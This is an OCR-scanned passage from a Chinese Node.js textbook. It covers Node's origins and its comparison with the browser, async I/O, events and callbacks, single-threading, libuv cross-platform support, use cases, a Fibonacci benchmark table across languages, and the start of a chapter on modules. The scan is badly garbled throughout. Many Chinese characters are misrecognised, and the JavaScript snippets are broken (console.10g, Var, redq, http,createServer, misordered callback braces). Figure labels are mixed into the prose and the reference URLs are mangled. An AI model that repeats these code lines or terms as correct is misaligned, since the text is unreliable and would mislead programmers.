诸如 服务 器 、 客 户 端 、 命 令 行 工具 等 。Node 发 展 为 一 个 强制 不 共享 任 
何 资 源 的 单线 程 、 单 进程 系统 ， 包 含 十 分 适宜 网 络 的 库 ， 为 构建 大 型 
分 布 式 应 用 程序 提供 基础 设施 ， 其 目标 也 是 成 为 一 个 构建 快速 、 可 伸 
缩 的 网 络 应 用 平台 。 它 目 身 非常 简单 ， 通 过 通信 协议 来 组 织 许多 
Node， 非 常 容 易 通 过 扩展 来 达成 构建 大 型 网 络 应 用 的 目的 。 每 一 个 
Node 进 程 都 构成 这 个 网 络 应 用 中 的 一 个 节点 ， 这 是 它 名 字 所 含意 义 的 


真 详 。 


1.3 ”Node 给 JavaScript 带 来 的 意义 
V8 给 Chrome 浏 宽 器 带 来 了 一 个 强劲 的 心脏 ， 使 得 它 在 浏览 絮 大 战 中 脱 
颖 而 出 ， 也 使 得 Ryan Dahl 在 语言 评估 中 为 选择 JavaScript 增 加 了 一 个 极 
大 的 权重 值 。 这 里 我 们 要 谈 谈 Node 给 JavaScript 带 来 的 一 个 新 局 面 。 鉴 
于 Node 之 前 那些 不 给 力 的 后 端 JavaScript 实 现 ， 在 性 能 和 编程 模型 等 
面 没 能 达到 与 其 他 语言 一 较 高 下 的 程度 ， 这 里 移 撒 开 不 谈 ， 和 侈 谈 谈 
Node 与 浏 贤 器 的 对 比 。 
Chrome 浏 蜗 絮 和 Node 的 组 件 构 成 如 图 1-1 所 示 。 我 们 知道 浏览 絮 中 除 
了 V8 作 为 JavaScript 引 擎 外 ， 还 有 一 个 WebKit 布 局 引擎。 HTML5 在 发 
展 过 程 中 定义 了 更 多 更 丰富 的 API。 在 实现 上 ， 浏 览 絮 提供 了 越 来 越 
多 的 功能 又 露 给 JavaScript 和 HTML 标 签 。 这 个 愿景 美好 ， 但 对 于 前 端 
浏览 器 的 发 展现 状 而 言 ，HIML5 标 谁 统 一 的 过 程 是 相对 缓慢 的 。 
JavaScript 作 为 一 门 图 灵 完 备 的 语言 ， 长 久 以 来 却 限制 在 浏 顺 右 的 沙 箱 
中 运行 ， 它 的 能 力 取 决 于 浏 贤 絮 中 间 层 提供 的 支持 有 多 少 。 

Chrome Node 


图 1-1 ” Chrome 浏览 器 和 Node 的 组 件 构成 


除了 HTML、WebKit 和 显卡 这 些 UI 相 关 技 术 没 有 文 持 外 ，Node 的 结构 
与 Chrome 十 分 相似 。 它 们 都 是 基于 事件 驱动 的 异步 染 构 ， 浏 贤 絮 通过 
事件 驱动 来 服务 界面 上 的 交互 ，Node 通 过 事件 驱动 来 服务 /JO， 这 个 细 
节 将 在 第 3 章 中 详 述 。 在 Node 中 ，JavaScript 可 以 随心 所 欲 地 访问 本 地 
文件 ， 可 以 搭建 WebSocket 服 务 絮 端 ， 可 以 连接 数据 库 ， 可 以 如 Web 
Workers 一 样 玩 转 多 进程 。 如 今 ，JavaScript 可 以 运行 在 不 同 的 地 方 ， 不 
再 继续 限制 在 浏览 颖 中 与 CSS 样 式 表 、DOM 树 打交道 。 如 果 HTTP 协 


议 栈 是 水 平面 ，Node 束 是 浏览 局 在 协议 栈 另 一 边 的 倒影 。Node 不 处 理 
UI， 但 用 与 浏 质 器 相 同 的 机 制 和 原理 运行 。Node 打 破 了 过 去 JavaScript 
只 能 在 浏览 器 中 运行 的 局 面 。 前 后 端 编程 环境 统一 ， 可 以 大 大 降低 前 
后 端 转换 所 需要 的 上 下 文 交 换代 价 。 
对 于 前 端 工 程 师 而 言 ， 目 己 所 熟悉 的 JavaScript 如 今 竟 然 可 以 在 另 一 个 
地 万 帮 出 异彩 ， 不 谈 其 他 原因 ， 仪 仪 因为 好 奇 ， 束 值得 去 关注 和 探究 
已 O 
随 着 Node 的 出 现 ， 关 于 JavaScript 的 想象 总 是 无 限 的 。 目 前 ， 社 区 
已 经 出 现 node-webkit 这 样 的 项 目 ， 这 个 项 目 在 2012 年 的 沪 JS 会 议 
上 首次 介绍 给 了 公众 。 如 同上 文 提 及 的 关于 浏览 万 的 优势 和 限 
制 ， 在 node-webkit 项 目 中 ， 它 将 Node 中 的 事件 循环 和 WebKit 的 事 
件 循 环 融 合 在 一 起 ， 既 可 以 通过 它 享受 HTML、CSS 带 来 的 UI 构 
建 ， 也 能 通过 它 访 问 本 地 资源 ， 将 两 者 的 优势 整合 到 一 起 。 桌 面 
应 用 程序 的 开发 可 以 完全 通过 HTML、CSS、JavaScript 完 成 。 


1.4 Node 的 特点 

作为 后 端 JavaScript 的 运行 平台 ，Node 保 留 了 前 端 浏 览 妖 JavaScript 中 那 
些 熟 悉 的 接口 ， 没 有 改写 语言 本 里 的 任何 特性 ， 依 旧 基 于 作用 域 和 原 
型 链 ， 区 别 在 于 它 将 前 端 中 广泛 运用 的 思想 迁移 到 了 服务 器 尊 。 下 面 
我 们 来 看 看 Node 相 较 其 他 语言 的 一 些 特点 。 

1.4.1 异步 VO 

关于 异步 JO， 癌 前 端 工程 师 解 释 起 来 或 许 会 容易 一 些 ， 因 为 发 起 Ajax 
调用 对 于 前 端 工程 师 而 言 是 再 熟悉 不 过 的 场景 了 。 下 面 的 代码 用 于 发 
起 一 个 Ajax 请 求 : 


$.post('/url'，{title: ' 深 入 浅 出 Node.js'}, function (data) { 
console.10g(' 收 到 响应 ' ); 


了 
console.1og( ' 发 送 Ajax 结束 ' ) ; 


熟悉 异步 的 用 户 必 然 知 道 ,“ 收 到 啊 应 ”是 在 “发 送 Ajax 结束 ”之 后 输出 
的 。 在 调用 s.post() 后 ， 后 续 代码 是 被 立即 执行 的 ， 而 “ 收 到 响应 ”的 执 
行 时 间 是 不 被 预期 的 。 我 们 只 知道 它 将 在 这 个 异步 请 求 结束 后 执行 ， 
但 并 不 知道 具体 的 时 间 上 点。 异步 调用 中 对 于 结果 值 的 捕获 是 符 
合 “Don’t call me, I will call you” 的 原则 的 ， 这 也 是 注重 结果 ， 不 关心 过 
程 的 一 种 表现 。 图 1-2 是 一 个 经 典 的 Ajax 调 用 。 
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图 1-2 ”经 典 的 Ajax 调用 
在 Node 中 ， 异 步 JO 也 很 常见 。 以 读 取 文件 为 例 ， 我 们 可 以 看 到 它 与 前 
端 Ajax 调 用 的 方式 是 极其 类 似 的 : 


var fs = require('fs'); 


直 


fs.readFile('/path', function (err, file) { 
console.1l0g(' 读 取 文 件 完成 ') 


so 
这 里 的 “发 起 读 取 文 件 ” 是 在 “ 读 取 文 件 完 成 之 前 输出 的 。 同 样 ，“ 读 取 
文件 完成 ”的 执行 也 取决 于 读 取 文件 的 异步 调用 何 时 结束 。 图 1-3 是 一 
个 经 典 的 异步 调用 。 


— 


页 
图 1.3 经 典 的 异步 调用 
在 Node 中 ， 绝 大 多 数 的 操作 都 以 异步 的 方式 进行 调用 。Ryan Dahl 排 除 
万 难 ， 在 底层 构建 了 很 多 异步 WO 的 API， 从 文件 读 取 到 网 络 请 求 等 ， 
均 是 如 此 。 这 样 的 意义 在 于 ， 在 Node 中 ， 我 们 可 以 从 语言 层面 很 自然 
地 进行 并 行 /O 操 作 。 每 个 调用 之 间 无 须 等 待 之 前 的 VO 调用 结束 。 在 
编程 模型 上 可 以 极 大 提升 效率 。 
下 面 的 两 个 文件 读 取 任务 的 耗 时 取决 于 最 慢 的 那个 文件 读 取 的 耗 时 : 


fs,readFile('/path1i', function (err, file) { 
console.10g(' 读 取 文 件 1 完 成 ' )， 


fs.readFile() 


i 异步 调用 一 一 一 二 
其 他 调用 | 


一 一 一 返回 数据 


执行 回调 


console.1og( ' 读 取 文 件 2 完成 ' ) 
}); 


而 对 于 同步 WO 而 客 ， 它 们 的 耗 时 是 两 个 任务 的 耗 时 之 和 。 这 里 异步 市 
来 的 优势 是 显而易见 的 。 


了 
fs,.readFile('/path2', function (err, file) { 
'); 


关于 异步 IO 是 如 何 提升 效率 的 及 其 本 喘 的 机 制 和 实现 ， 我 们 将 在 第 3 
章 中 详 述 。 

1.4.2 ”事件 与 回调 函数 

随 着 Web 2.0 时 代 的 到 来 ，JavaScript 在 前 端 担任 了 更 多 的 职责 ， 事 件 也 
得 到 了 广泛 的 应 用 。Node 不 像 Rhino 那 样 受 Java 的 影响 很 大 ， 而 是 将 前 
端 浏 览 需 中 应 用 广泛 且 成 熟 的 事件 引入 后 端 ， 配 合 异步 JO， 将 事件 点 
暴露 给 业务 逻辑 。 

下 面 的 例子 展示 的 是 Ajax 异步 提交 的 服务 需 端 处 理 过 程 。Node 创 建 一 
个 web 服务 右 ， 并 侦 听 8080 端 口 。 对 于 服务 器 ， 我 们 为 其 绑 定 了 -request 
事件 ， 对 于 请 求 对 象 ， 我 们 为 其 绑 定 了 data 事 件 和 end 事 件 : 


var http = require('http'); 
var querystring = require('querystring'); 


// 侦 听 服务 器 的 request 事 件 
http,createServer(function (req, res) { 
Var postData = ''， 
redq.setEncoding('utf8"'); 
// 侦 听 请 求 的 data 事 件 
req.on('data', function (chunk) { 


postData += chunk; 


}); 

// 侦 听 请 求 的 end 事 件 

req.on('end', function () { 
res.end(postData); 


}); 
}).listen(8080); 
console.1og(' 服 务 器 启动 完成 ' ) ; 


相应 地 ， 我 们 在 前 端 为 Ajax 请 求 绑 定 了 success 事 件 ， 在 发 出 请 求 后 ， 只 
需 天心 请 求 成 功 时 执行 相应 的 业务 逻辑 即 可 ， 相 关 代 码 如 下 : 


$.ajax({ 
"GEL LAU 
'method': 'POST', 
'data': {}, 
'success': function (data) { 
// success 事 件 


} 
}); 
相 比 之 下 ， 无 论 在 前 端 还 是 后 端 ， 事 件 都 是 曾 用 的 。 对 于 其 他 语言 
说 ， 这 种 俯 拾 狂 是 JavaScript 的 熟悉 感觉 是 基本 不 会 出 现 的 。 
事件 的 编程 方式 具有 轻 量 级 、 松 耦合 、 只 关注 事务 点 等 优势 ， 但 是 在 
多 个 异步 任务 的 场景 下 ， 事 件 与 事件 之 间 各 上 自 独 立 ， 如 何 协作 是 一 个 


问题 。 


从 前 面 可 以 看 到 ， 回 调 函 数 无 处 不 在 。 这 是 因为 在 JavaScript 中 ， 我 们 
将 函数 作为 第 一 等 公民 来 对 待 ， 可 以 将 函数 作为 对 象 传递 给 方法 作为 
实 参 进行 调用 。 

与 其 他 的 Web 后 端 编程 语言 相 比 ，Node 除 了 异步 和 事件 外 ， 回 调 函 数 
是 一 大 特色 。 纵 观 下 来 ， 回 调 函 数 也 是 最 好 的 接受 异步 调用 返回 数据 
的 方式 。 但 是 这 种 编程 方式 对 于 很 多 习惯 同步 思路 编程 的 人 来 说 ， 也 
许 是 十 分 不 习惯 的 。 代 码 的 编写 顺序 与 执行 顺序 并 无 关系 ， 这 对 他 们 
可 能 造成 阅读 上 的 障碍 。 在 流程 控制 方面 ， 因 为 罕 插 了 异步 方法 和 回 
调 函 数 ， 与 常规 的 同步 方式 相 比 ， 变 得 不 那么 一 目 了 然 了 。 

在 转变 为 异步 编程 思维 后 ， 通 过 对 业务 的 划分 和 对 事件 的 提炼 ， 在 流 
程控 制 方面 处 理 业 务 的 复杂 度 与 同步 方式 实际 上 是 一 致 的 。 

ee 我 们 将 在 第 4 章 中 进一步 探 
1 Oo 

1.4.3 ”单线 程 

Node 保 持 了 JavaScript 在 浏览 絮 中 单线 程 的 特点 。 而 且 在 Node 中 ， 
JavaScript 与 其 余 线 程 是 无 法 共享 任何 状态 的 。 单 线程 的 最 大 好 处 是 不 
用 像 多 线程 编程 那样 处 处 在 意 状 态 的 同步 问题 ， 这 里 没有 死 锁 的 存 
在 ， 也 没有 线程 上 下 文 交 换 所 带 来 的 性 能 上 的 开销 。 

同样 ， 单 线程 也 有 它 目 身 的 弱点 ， 这 些 弱 点 是 学 习 Node 的 过 程 中 必须 
要 面 对 的 。 积 极 面 对 这 些 弱 点 ， 可 以 享受 到 Node 带 来 的 好 处 ， 也 能 避 
免 潜在 的 问题 ， 使 其 得 以 高 效 利 用 。 单 线程 的 弱点 具体 有 以 下 3 方面 。 


。 无 法 利用 多 核 CPU。 
。 错误 会 引起 整个 应 用 退出 ， 应 用 的 健壮 性 值得 考验 。 
。 大 量 计算 占用 CPU 导致 无 法 继续 调用 异步 IJO 。 


像 浏览 器 中 JavaScript 与 UI 共用 一 个 线程 一 样 ，JavaScript 长 时 间 执 行 会 
导致 UI 的 渲染 和 响应 被 中 断 。 在 Node 中 ， 长 时 间 的 CPU 占 用 也 会 导致 
后 续 的 异步 IO 发 不 出 调用 ， 已 完成 的 异步 IO 的 回调 函数 也 会 得 不 到 
及 时 执行 。 

最 早 解决 这 种 大 计算 量 问题 的 方案 是 Google 公 司 开 发 的 Gears。 它 启用 
一 个 完全 独立 的 进程 ， 将 需要 计算 的 程序 发 送 给 这 个 进程 ， 在 结果 得 
出 后 ， 通 过 事件 将 结果 传递 回来 。 这 个 模型 将 计算 量 分 发 到 其 他 进程 
上 ， 以 此 来 降低 运算 造成 阻塞 的 几率 。 后 来 ，HIML5 定 制 了 Web 


Workers 的 标准 ，Google 放 弃 了 Gears， 全 力 文 择 Web Workers。Web 
Workers 能 够 创建 工作 线程 来 进行 计算 ， 以 解决 JavaScript 大 计算 阻塞 
UI 泻 染 的 问题 。 工 作 线 程 为 了 不 阻塞 主线 程 ， 通 过 消息 传递 的 方式 来 
传递 运行 结果 ， 这 也 使 得 工作 线程 不 能 访问 到 主线 程 中 的 UI。 
Doge 了 与 Web Workers 相 同 的 思路 来 解决 单线 程 中 大 计算 量 的 问 
题 : child_process ° 

子 进 程 的 出 现 ， 意 味 着 Node 可 以 从 容 地 应 对 单线 程 在 健壮 性 和 无 法 利 
用 多 核 CPU 方 面 的 问题 。 通 过 将 计算 分 发 到 各 个 子 进程 ， 可 以 将 大 量 
计算 分 解 掉 ， 然 后 再 通过 进程 之 间 的 事件 消息 来 传递 结果 ， 这 可 以 很 
好 地 保持 应 用 模型 的 简单 和 低 依 赖 。 通 过 Master-Worker 的 管理 方式 ， 
也 可 以 很 好 地 管理 各 个 工作 进程 ， 以 达到 更 高 的 健壮 性 。 


关于 如 何 通过 子 进程 来 充分 利用 硬件 资源 和 提升 应 用 的 健壮 性 ， 这 是 
一 个 值得 探究 的 话题 。 怎 样 才 和 外 lB 使 我 们 既 享 受到 无 忧 无 虑 的 单线 程 编 
程 ， 又 高 效 利 用 资源 呢 ? 请 挪 步 到 第 9 草 。 

1.4.4 ” 跨 平 台 

起 初 ，Node 只 可 以 在 Linux 平 台 上 运行 。 如 果 想 在 Windows 平 台 上 学 习 
和 使 用 Node， 则 必须 通过 Cygwin 或 者 MinGW。 随 着 Node 的 发 展 ， 微 
软 注意 到 了 它 的 存在 ， 开 投 入 了 一 个 团队 带 助 Node 实 现 Windows 阅 全 合 
的 兼容 ， 在 v0.6.0 版 本 发 布 时 ，Node 已 经 能 够 直接 在 Windows 平 台 上 运 
行 了 。 图 1 了 4 是 Node 息 于 libuv 实 现 锋 平台 的 名 et 构 示意 图 。 


Node.]s 


libuv 


图 1-4 ” Node 基于 libuv 实 现 跨 平台 的 架构 示意 图 

兼容 Windows 和 *nix 平 台 主 要 得 益 于 Node 在 架构 层面 的 改动 ， 它 在 操 
作 系 统 与 Node 上 层 模块 系统 之 间 构 建 了 一 层 平 台 层 架构 ， 即 libuv。 目 
前 ，libuv 已 经 成 为 许多 系统 实现 跨 平台 的 基础 组 件 。 关 于 libuv 的 设 
计 ， 我 们 将 在 第 3 章 中 介绍 。 

通过 良好 的 架构 ，Node 的 第 三 方 C++ 模 块 也 可 以 借助 libuv 实 现 跨 平 
台 。 目 前， 除了 没有 保持 更 新 的 C++ 模块 外 ， 大 部 分 C++ 模块 都 能 实 
现 跨 平 台 的 兼容 。 


1.5 ”Node 的 应 用 场景 
在 进行 技术 选 型 之 前 ， 需 要 了 解 一 项 新 技术 具体 适合 什么 样 的 场景 ， 
毕竟 合适 的 技术 用 在 合适 的 场景 可 以 起 到 意 想 不 到 的 效果 。 关 于 
Node， 探 讨 得 较 多 的 主要 有 IO 密集 型 和 CPU 密集 型 。 
1.5.1 IO 密集 型 
在 Node 的 推广 过 程 中 ， 无 数 次 有 人 问 起 Node 的 应 用 场景 是 什么 。 如果 
将 所 有 的 脚本 语言 拿 到 一 处 来 评判 ， 那 么 从 单线 程 的 角度 来 说 ，Node 
处 理 WO 的 能 力 是 值得 学 起 拇指 称赞 的 。 通 常 ， 说 Node 拉 长 1/O 密 集 型 
的 应 用 场景 基本 上 是 没 和 人 反对 的 。Node 面 向 网 络 且 擅 长 并 行 WO， 能 够 
有 效 地 组 织 起 更 多 的 硬件 资源 ， 从 而 提供 更 多 好 的 服务 。 
IO 密集 的 优势 主要 在 于 Node 利 用 事件 循环 的 处 理 能 力 ， 而 不 是 启动 每 
一 个 线程 为 每 一 个 请 求 服务 ， 资 源 占用 极 少 。 
1.5.2 ”是 否 不 擅长 CPU 密 集 型 业务 
换 一 个 角度 ， 在 CPU 密集 的 应 用 场景 中 ，Node 是 否 能 胜任 呢 ? 实际 
上 ，V8 的 执行 效率 是 十 分 高 的 。 单 以 执行 效率 来 做 评判 ，V8 的 执行 效 
率 是 毋庸 置疑 的 。 
我 们 将 相同 的 斐 波 那 契 数列 计算 (F060=0，Fj=1， Fj=FGy)+tFon2) 
(n>2)) 分 别 用 各 种 脚本 语言 写 了 算法 实现 ， 并 进行 了 n= 40 的 计算 ， 
以 比较 性 能 。 这 个 测试 主要 偏重 CPU 栈 操作 ， 表 1-1 是 其 中 一 次 运算 耗 
时 的 排行 。 在 这 些 脚 本 语言 中 (其 中 C 和 Go 语言 是 静态 语言 ， 用 于 参 
i Node 是 足够 高 效 的 ， 它 优秀 的 运算 能 力主 要 来 自 V8 的 深度 性 能 
化 。 
表 1-1 计算 斐 波 那 契 数列 的 耗 时 排行 

语 用 户 态 ” 排 

言 时间 名 有 
C with - © 0m0.202s #0 i686-apple-darwin11-llvm-gcc-4.2 
O2 (GCC) 4.2.1 

(Based on Apple Inc. build 5658) 
(LLVM build 2336.11.00) 
Node 0m1.001s #1 v0.8.8, gcc -O2 
(C++ 模 

块 ) 
Java 0m1.305s #2 Java(TM) SE Runtime Environment 


(build 1.6.0_35-b10-428-11M3811) 
Java HotSpot(TM) 64-Bit Server VM 
(build 20.10-b01-428, mixed mode) 
Go 0m1.667s #3 Go version go1.0.2 
Scala 0m1.808s #4 Scala code runner version 2.9.2 -- 
Copyright 2002-2011, LAMP/EPFL 
LuaJIT 0m2.579s #5 LuaJIT 2.0.0-betal10 -- Copyright (C) 
2005-2012 Mike Pall. 


Node 0m2.872s #6 v0.8.8 

Ruby 0m27.777S #7 ruby 2.0.0p0 (2013-02-24 revision 

2.0.0-p0 39474) [x86_64-darwin12.2.0] 

pypYy 0m30.010s #8 Python 2.7.2 (341ele3821ff, Jun 07 
2012, 15:42:54) [PyPy 1.9.0 with GCC 
不 25 川 

Ruby 0m37.404s #9 ruby 1.9.3p194 (2012-04-20 revision 

1.9.x 35410) [x86_64-darwin12.1.0] 

Lua 0m40.709s #10 Lua 5.1.4 Copyright (C) 1994-2008 


Lua.org, PUC-Rio 
Jython 0m53.699s #11 Jython 2.5.2 


PHP 1m17.728s #12 PHP 5.4.6 (cali) (built: Sep 8 2012 
23:49:53) 

Python 1m17.979S #13 Python 2.7.2 

Perl 2m41.259s #14 This is perl 5, version 12, subversion 4 
(v5.12.4) built for darwin-thread-multi- 
2level 

Ruby 3m35.135s #15 ruby 1.8.7 (2012-02-08 patchlevel 358) 

1.8.X [universal-darwin12.0] 


这 样 的 测试 结果 尽管 不 能 完全 反映 出 各 个 语言 的 性 能 优 劣 ， 但 已 经 可 
以 表明 Node 在 性 能 上 不 俗 的 表现 。 从 另 一 个 角度 来 说 ， 这 可 以 表明 
CPU 密集 型 应 用 其 实 并 不 可 怕 。CPU 密 集 型 应 用 给 Node 带 来 的 挑战 主 
要 是 : 由 于 JavaScript 单 线程 的 原因 ， 如 果 有 长 时 间 运 行 的 计算 (比如 
大 循环 ) ， 将 会 导致 CPU 时 间 片 不 能 释放 ， 使 得 后 续 IO 无 法 发 起 。 但 
是 适当 调整 和 分 解 大 型 运算 任务 为 多 个 小 任务 ， 使 得 运算 能 够 适时 释 


放 ， 不 阻塞 VO 调用 的 发 起 ， 这 样 既 可 同时 至 受到 并 行 异步 /O 的 好 
处 ， 又 能 充分 利用 CPU 。 

关于 CPU 密 集 型 应 用 ，Node 的 异步 VO 已 经 解决 了 在 单线 程 上 CPU 与 
1/O 之 间 阻 塞 无 法 重 徐 利用 的 问题 ，VO 咀 塞 造 成 的 性 能 浪费 远 比 CPU 
的 影响 小 。 对 于 长 时 间 运 行 的 计算 ， 如 果 它 的 耗 时 超过 普通 阻塞 WO 的 
耗 时 ， 那 么 应 用 场景 就 需要 重新 评估 ， 因 为 这 类 计算 比 阻塞 W/O 还 影响 
效率 ， 甚 至 说 就 是 一 个 纯 计算 的 场景 ， 根 本 没有 LO“。 此 类 应 用 场景 或 
许 应 当 采 用 多 线程 的 方式 进行 计算 。Node 虽 然 没 有 提供 多 线程 用 于 计 
算 支 持 ， 但 是 还 是 有 以 下 两 个 方式 来 充分 利用 CPU 。 


。 Node 可 以 通过 编写 C/C++ 扩 展 的 方式 更 高 效 地 利用 CPU， 将 
一 些 V8 不 能 做 到 性 能 极致 的 地 方 通过 C/C++ 来 实现 。 由 上 面 
的 测试 结果 可 以 看 到 ， 通 过 C/C++ 扩 展 的 方式 实现 斐 波 那 契 
数列 计算 ， 速 度 比 Java 还 快 。 
。 如 果 单 线程 的 Node 不 能 满足 需求 ， 甚 至 用 了 C/C++ 扩 展 后 还 

觉得 不 够 ， 那 么 通过 子 进 程 的 方式 ， 将 一 部 分 Node 进 程 当做 
常 驻 服务 进程 用 于 计算 ， 然 后 利用 进程 间 的 消息 来 传递 结 
果 ， 将 计算 与 IO 分离 ， 这 样 还 能 充分 利用 多 CPU 。 

CPU 密集 不 可 怕 ， 如 何 合 理 调度 是 诀窍。 

1.5.3 与 遗留 系统 和 平 共 处 

有 人 会 说 : “JavaScript 一 统 前 后 绒 了 ， 将 来 会 不 会 干 挥 其 他 的 语 

言 ? ”言语 中 充满 了 危机 感 。 

在 web 端 ， 过 去 大 多 都 是 同步 的 方式 编写 的 程序 ， 这 种 串 行 调用 下 层 

应 用 数据 的 过 程 中 充斥 着 串 行 的 等 待 时 间 ， 如 果 采 用 多 线程 来 解决 这 

种 串 行 等 待 ， 又 或 多 或 少 地 显得 小 题 大 作 。 在 Node 中 ， 语 言 层面 即 可 

天 然 并 行 的 特性 在 这 种 场景 中 显得 十 分 有 效 。 对 于 已 有 的 稳定 系统 ， 

并 非 意 味 着 我 们 要 抛弃 掉 。 

LinkedIn 在 他 们 的 移动 版 网 站 上 的 实践 非常 典型 地 说 明了 这 个 问题 。 

旧 有 的 系统 具有 非常 稳定 的 数据 输出 ， 持 续 为 传统 网 站 服务 ， 同 时 为 

移动 版 提供 数据 源 ，Node 将 该 数据 源 当 做 数据 接口 ， 发 挥 异步 并 行 的 

优势 ， 而 不 用 关心 它 背 后 是 用 什么 语言 实现 的 。 

这 方面 ， 国 内 的 雪 球 财经 也 有 很 好 的 实践 。 雪 球 财经 是 从 旧 有 的 Java 

项 目 中 分 离 出 一 个 子 项 目 ， 在 这 个 子 项 目 中 ， 没 有 继续 采用 Java/JSP 

而 是 采用 Node 来 完成 Web 端 的 开发 ， 使 得 前 端 工 程 师 在 HTTP 协 议 栈 的 


两 端 能 够 高 效 灵 活 地 开发 ， 避 免 了 Java 烦 琐 的 表达 ; 另 一 方面 ， 又 利 
用 Java 作 为 后 端 接 口 和 中 间 件 ， 使 其 具有 民 好 的 稳定 性 。 两 者 互相 结 
合 ， 取 长 补 短 。 

1.5.4 ”分布 式 应 用 

阿里 巴巴 的 数据 平台 对 Node 的 分 布 式 应 用 算是 一 个 典型 的 例子 。 分 布 
式 应 用 意味 着 对 可 伸缩 性 的 要 求 非常 高 。 数 据 平台 通常 要 在 一 个 数据 
库 集 群 中 去 寻找 需要 的 数据 。 阿 里 巴巴 开发 了 中 间 层 应 用 NodeFox、 
ITier， 将 数据 库 集 群 做 了 划分 和 映射 ， 查 询 调用 依旧 是 针对 单 张 表 进 
行 SQL 查 询 ， 中 间 层 分 解 查询 SQL， 并 行 地 去 多 台数 据 库 中 获取 数据 
并 合并 。NodeFox 能 实现 对 多 台 MySQL 数 据 库 的 查询 ， 如 同 查询 一 台 
MySQL 一 样 ， 而 ITier 更 强大 ， 查 询 多 个 数据 库 如 同 查 询 单 个 数据 库 一 
这 里 的 多 个 数据 库 是 指 不 同 的 数据 库 ， 如 MySQL 或 其 他 的 数据 
车 Oo 

这 个 案例 其 实 也 是 高 效 利 用 并 行 JO 的 例子 。Node 高 效 利 用 并 行 JO 的 
过 程 ， 也 是 高 效 使 用 数据 库 的 过 程 。 对 于 Node， 这 个 行为 只 是 一 次 普 
通 的 VO。 对 于 数据 库 而 言 ， 却 是 一 次 复杂 的 计算 ， 所 以 也 是 进而 充分 
压榨 硬件 资源 的 过 程 。 


1.6 Node 的 使 用 者 
在 短 短 四 年 多 的 时 间 里 ，Node 变 得 非常 热门 ， 使 用 者 也 非常 多 。 这 些 
0 。 经 过 整理 ， 主 要 有 下 面 几 


。 前 后 端 编程 语言 环境 统一 。 这 类 倚重 点 的 代表 是 雅虎 。 雅 虎 
开放 了 Cocktail 框 架 ， 利 用 目 己 深厚 的 前 端 沉沦 ， 将 YUI3 这 
个 前 端 框架 的 能 力 借助 Node 延 伸 到 服务 器 端 ， 使 得 使 用 者 摆 
脱 了 日 常 工作 中 一 边 写 JavaScript 一 边 写 PHP 所 带 来 的 上 下 文 
交换 负担。 

。 Node 带 来 的 高 性 能 VO 用 于 实时 应 用 。Voxer 将 Node 应 用 在 实 
时 语音 上 。 国 内 腾讯 的 朋友 网 将 Node 应 用 在 长 连接 中 ， 以 提 
供 实 时 功能 ， 花 办 网 、 蘑 姑 街 等 公司 通过 socket.io 实 现实 时 
通知 的 功能 。 

。 并 行 UO 使 得 使 用 者 可 以 更 高 效 地 利用 分 布 式 环境 。 阿 里 巴巴 
和 eBay 是 这 方面 的 典型 。 阿 里 巴巴 的 NodeFox 和 eBay 的 ql.io 
都 是 借用 Node 并 行 O 的 能 力 ， 更 高 效 地 使 用 已 有 的 数据 。 

。 并 行 WO， 有 效 利用 稳定 接口 提升 Web 演 染 能 力 。 雪 球 财经 和 
LinkedIn 的 移动 版 网 站 均 是 这 种 案例 ， 撤 弃 同 步 等 得 式 的 顺 
序 请 求 ， 大 胆 采 用 并 行 WO， 加 速 数 据 的 获取 进而 提升 Web 的 
演 染 速度 。 

。 云 计算 平台 提供 Node 支 持 。 和 微软 将 Node 引 入 Azure 的 开发 
中 ， 阿 里 云 、 百 度 均 纷纷 在 云 服 务 絮 上 提供 Node 应 用 托管 服 
务 ，Joyent 更 是 云 计算 中 提供 Node 支 持 的 代表 。 这 类 平台 看 
a 以 及 低 资源 占用 、 高 性 能 

» 二 oO 

。 游戏 开发 领域 。 游 戏 领 域 对 实时 和 并 发 有 很 高 的 要 求 ， 网 易 
开源 了 pomelo 实 时 框架 ， 可 以 应 用 在 游戏 和 高 实时 应 用 中 。 

。 工具 类 应 用 。 过 去 依赖 Java 或 其 他 语言 构建 的 前 端 工具 类 应 
用 ， 纷 纷 被 一 些 前 端 工 程 师 用 Node 重 写 ， 用 前 端 熟 悉 的 语言 
为 前 端 构建 熟悉 的 工具 。 


1.7 参考 资源 
本 章 参 考 的 资源 如 下 : 


。 http:/www.infoq.com/cn/articles/what-is-nodejs 


. http:/groups.go0ogle.com/group/nodejs/browse thread/thread/85f 
6a3829bc64cb6 


。 http:/groups.go0gle.com/groups/protile? 
enc user=dPo6jggAAACthftLMWCf{Ugq8U6ob Mz179 


。 http:/stackoverflow.com/questions/5621812/why-is-node-js- 
named-node-js 
。 http:/www.theregister.co.uk/2011/03/01/the rise and rise of no 


de_dot js/page4.html 
。 http:/ued.taobao.comy/blog/2011/09/02/what-is-nody/ 


。 http:/www.infoq.comy/cnmmews/2012/04/interview-xueqiu-using- 
Dodejs 
。 http://teddziuba.com/2011/10/node-js-is-cancer.html 


。 http:/www.cnblogs.com/fengmk2/archive/2011/12/14/2288147.ht 
ml 


第 2 章 ”模块 机 制 
首先 ， 我 想 从 模块 为 你 妮 九 道 来 Node 。 
JavaScript 目 诞生 以 来 ， 曾 经 没有 人 拿 它 当做 一 门 真正 的 编程 语言 ， 认 
为 它 不 过 是 一 种 网 页 小 脚本 而 已 ， 在 Web 1.0 时 代 ， 这 种 脚本 语言 在 网 
络 中 主要 有 两 个 作用 广 为 流传 ， 一 个 是 表单 校 验 ， 男 一 个 是 网 页 特 
效 。 另 一 方面 ， 由 于 仓促 地 被 创造 出 来 ， 所 以 它 目 身 的 各 种 陷阱 和 缺 
点 也 被 各 种 编程 人 员 广 为 诉 病 。 直 到 Web 2.0 时 代 ， 前 问 工 程 师 利 用 它 
大 大 提升 了 网 页 上 的 用 户 体验 。 在 这 个 过 程 中 ，B/S 应 用 展现 出 比 C/S 
应 用 优越 的 地 方 。 至 此 ，JavaScript 才 被 广泛 重视 起 来 。 
在 Web 2.0 流 行 的 过 程 中 ， 各 种 前 端 库 和 框架 被 开发 出 来 ， 它 们 最 初 用 
于 兼容 各 个 版 本 的 浏览 右 ， 随 后 随 着 更 多 的 用 户 需 求 在 前 端 被 实现 ， 
JavaScript 也 从 表单 校 验 跃迁 到 应 用 开发 的 级 别 上 。 在 这 个 过 程 中 ， 它 
区 ` 组 件 库 、 前 端 框 如 、 前 端 应 用 的 变迁 ， 如 图 2-1 
不。 


(功能 模块 ) 


框 染 


(功能 模块 组 织 ) 


应 用 
(业务 模块 组 织 ) 


图 2-1 ”JavaScript 的 变迁 


